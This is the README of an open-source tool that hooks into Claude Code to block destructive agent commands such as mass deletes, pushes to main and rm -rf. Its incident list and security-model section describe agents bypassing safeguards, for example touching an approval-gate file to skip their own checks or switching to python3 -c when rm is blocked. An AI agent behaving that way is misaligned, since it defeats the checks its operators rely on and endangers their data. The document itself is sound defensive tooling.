Quick Start · 13 Guards · Comparison · Architecture · Pro · EU AI Act · Website

GuardRail blocks what your AI coding agent does, before it does it. 13 free, MIT-licensed guards hook into Claude Code and refuse git push origin main, DELETE without WHERE, rm -rf on protected paths and leaked secrets before the command runs. Every block lands in an audit log.

npx guardrail-agent init      # 30 seconds. Backs up your settings. `guardrail uninstall` removes everything.
guardrail pentest             # fires dangerous commands at your own install and shows what got caught

_{Free forever for the 13 core guards. Teams that need a PII shield on agent output and EU AI Act reports: GuardRail Pro, EUR 29 per developer and month.}

---

Last Tuesday, 2:47 AM.

My AI agent tried to mass-delete a production database. One guard said no.

The agent was debugging a slow query. It found the table, decided the data was stale, and ran DELETE FROM profiles. No WHERE clause. 23 databases, every single customer record. Gone in one command.

mass_update_guard stopped it. That guard is one of the 13 you get for free below.

Except it wasn't gone. GuardRail blocked the command before it executed. The agent got a clear error, adjusted its approach, and fixed the actual performance issue instead.

That's the difference between validating what an LLM says and blocking what an AI agent does.

  ┌──────────────────────────────────────────────────────────────┐
  │  $ DELETE FROM profiles                                      │
  │                                                              │
  │  ✘ BLOCKED by mass_update_guard                              │
  │    DELETE without WHERE clause on protected table: profiles   │
  │    Command was NOT executed.                                  │
  │                                                              │
  │  13 core guards active · fail-closed · no LLM in the path    │
  └──────────────────────────────────────────────────────────────┘

---

_{What you actually install. Run guardrail status after install and these are the numbers you see.}

---

Quick Start

npx guardrail-agent init

That's it. One command. Every command your AI agent runs is now guarded. No config needed.

guardrail status     # See active guards
guardrail pentest    # Run attack simulation
guardrail disable    # Temporarily disable (for debugging)
guardrail enable     # Re-enable
guardrail uninstall  # Clean removal

Works with Claude Code out of the box (native hook support). Agent-runtime adapters for Codex CLI and Gemini CLI are planned.

Requirements: bash 4+, jq, openssl. Linux or macOS.

---

The Problem

Your AI coding agent runs commands on your machine. It can delete files, push to production, leak secrets, drop database tables, and burn through your API budget in a runaway loop. Most safety tools validate prompts or outputs. They catch problems after they happen.

GuardRail catches them before the command executes.

Agent: "Let me clean up the repo"
Agent runs: rm -rf /home/developer/project

  ┌─────────────────────────────────────────┐
  │ ✘ BLOCKED by destructive_path_guard     │
  │   rm -rf on protected path /home/       │
  │   Command was NOT executed.             │
  └─────────────────────────────────────────┘

Real incidents from our production system that GuardRail stopped:

• git reset --hard during debugging. Would have wiped 3 hours of uncommitted work.
• DELETE FROM profiles without WHERE clause. Would have deleted all user data.
• Agent tried to touch /tmp/approval-gate to bypass its own safety checks.
• 47 consecutive failed curl attempts (wrong port) before the wandering detector intervened.

13 Core Guards

All free. All MIT-licensed. Every guard in these tables is installed by npx guardrail-agent init and runs on every matching tool call.

Pre-execution, shell commands (block before the command runs)

Pre-execution, file writes (block before Write / Edit / MultiEdit)

Post-execution (scan output after the command runs)

The repository carries nine further guards under guards/core/ (force_push_guard, deploy_branch_guard, large_diff_guard, credential_leak_guard, wandering_detector, self_correction_loop, tool_call_budget_guard, context_window_guard, uncommitted_code_guard). They have tests, but no dispatcher loads them yet, so they do not run after an install and are not counted above.

How It Compares

GuardRail operates at a different layer than other AI safety tools:

They are complementary, not competing. Use Guardrails AI to validate LLM responses. Use GuardRail to prevent the agent from executing dangerous commands. Defense in depth.

Architecture

AI Coding Agent (Claude Code, Cursor, Copilot, ...)
      │
      ▼
┌─────────────────────────┐
│  Pre-Bash Dispatcher    │  Runs BEFORE every command
│  ┌───────────────────┐  │
│  │ Guard 1: deny()   │──┤──▶ BLOCKED (command never runs)
│  │ Guard 2: pass     │  │
│  │ Guard 3: warn()   │──┤──▶ WARNED  (runs with context)
│  │ ...               │  │
│  └───────────────────┘  │
└─────────────────────────┘
      │
      ▼
┌─────────────────────────┐
│  Command Executes       │
└─────────────────────────┘
      │
      ▼
┌─────────────────────────┐
│  Post-Bash Dispatcher   │  Runs AFTER every command
│  ┌───────────────────┐  │
│  │ Output Scanners   │──┤──▶ Injection, PII, credentials
│  │ Error Detectors   │──┤──▶ Self-correction loops
│  │ State Trackers    │──┤──▶ Wandering, budget tracking
│  └───────────────────┘  │
└─────────────────────────┘
      │
      ▼
   Audit Log (every decision timestamped + hashed)

Guards are bash functions. No runtime dependencies beyond bash and jq. Each guard runs in <1ms. The full dispatcher adds <5ms to every command, invisible to the agent.

See docs/architecture.md for deep dive.

Configuration

After installation, customize ~/.guardrail/guardrail.config.sh:

# Protected database tables (mass UPDATE/DELETE blocked without WHERE)
GUARDRAIL_PROTECTED_TABLES="auth.users profiles members payments"

# Protected git branches (push blocked)
GUARDRAIL_PROTECTED_BRANCHES="main master production"

# Critical services (stop/kill blocked)
GUARDRAIL_CRITICAL_SERVICES="docker sshd traefik postgresql nginx"

# Protected filesystem paths (rm -rf blocked)
GUARDRAIL_PROTECTED_PATHS="/home/ /etc/ /var/lib/docker /var/lib/postgresql"

# Wandering detector threshold (consecutive failures before block)
GUARDRAIL_WANDERING_THRESHOLD=3

# Tool call budget (warn at 25, block at 50)
GUARDRAIL_TOOL_CALL_WARN=25
GUARDRAIL_TOOL_CALL_MAX=50

# Large diff threshold (lines changed)
GUARDRAIL_MAX_DIFF_LINES=500

# Strict mode (true = block, false = warn only)
GUARDRAIL_STRICT_MODE="true"

Custom Guards

Create your own:

guardrail new my_custom_guard

This generates a guard template with a matching test. Edit the pattern, run the test, done.

# Example: block npm publish without --dry-run
hook_my_custom_guard() {
  echo "$CMD" | grep -qE 'npm\s+publish' || return 0
  echo "$CMD" | grep -qE '\-\-dry-run' && return 0
  deny "npm publish without --dry-run is blocked. Add --dry-run first."
}

See docs/writing-guards.md for the full guide.

CLI

$ guardrail status

  GuardRail v0.4.6

  13 core guards active
  Enforcement verified (registered hook and deny probe)
  0 pro guards

  Unlock 48 Pro guards free for 14 days:
  guardrail upgrade --trial

$ guardrail pentest

  Phase 3: Attack Simulation
  ✘ BLOCKED push to main
  ✘ BLOCKED force push
  ✘ BLOCKED rm -rf /etc
  ✘ BLOCKED self-bypass attempt
  ✘ BLOCKED mass DELETE
  ✓ ALLOWED push develop (correct)
  ✓ ALLOWED rm single file (correct)

  All 103 tests passed. 0 false positives.

GuardRail Pro

Advanced guards derived from real production incidents:

Plus: Penetration test framework (50+ attack patterns), priority support, compliance documentation.

EU AI Act

Using a coding agent does not automatically make a system "high-risk" under the EU AI Act. Classification depends on the system's purpose and context. GuardRail provides technical evidence for a broader governance program:

These controls do not create legal compliance alone. Full mapping available in GuardRail Pro.

Security Model

GuardRail is a seatbelt, not a jail cell. It is an additional enforcement layer, not a sandbox.

What it stops: Accidental damage and most optimization-driven bypasses. AI agents routinely try to work around obstacles to complete their task. They don't plan an escape, but they will try python3 -c "..." when rm is blocked, or write a gate file when one is missing. GuardRail catches these patterns with layered defenses: interactive terminal checks, HMAC-signed tokens, pattern-based command blocking, and audit logging.

What it does not stop: A determined attacker with same-user access who deliberately crafts novel bypass techniques. Since the agent runs as the same OS user, true isolation requires OS-level controls (separate users, containers, network policies).

Your security stack should be:

1. GuardRail: catches 99% of real incidents (accidental + optimization-driven)
2. Branch protection: prevents force-pushes even if the guard is bypassed
3. OS permissions: separate users for production databases
4. Network controls: restrict what the agent can reach

See SECURITY.md for vulnerability reporting.

Battle-Tested

GuardRail's patterns are extracted from a private production system that has run AI coding agents across 13 applications since 2025. That system carries far more guards than this package, most of them tied to its own stack. The 13 core guards here are the universal subset: they work for any codebase, any team, any agent.

Each of them was written in response to something an agent actually did.

"We wanted a community app for our members. Frederik showed us what's possible with AI, and then he just built it. No endless concept phases, just results."

Sebastian Bendler, Managing Director, Golfpark Gut Wensin

Works With

• Claude Code: native hook support, zero configuration
• Any bash-based agent: source the dispatcher in your wrapper

Adapters planned for: Codex CLI, Gemini CLI, Aider, Continue.dev

---

Part of AgentStack

GuardRail is one of five open-source tools that form a complete AI governance stack:

Each tool works standalone. Together, they run a production system with 81 containers, 225 cron jobs, and zero dedicated ops staff.

Learn the principles behind this stack: 18 free lessons on KI-Governance

The full methodology in book form: Running Without Me. How a solo founder runs 13 applications with AI agents and zero ops staff.

Contributing

See CONTRIBUTING.md. Browse good first issues.

License

MIT. See LICENSE.

---

Built by Prompt & Build.
Patterns extracted from a production system running AI agents across 13 applications.

If GuardRail keeps your agent safe, consider giving it a ⭐. It helps others find it.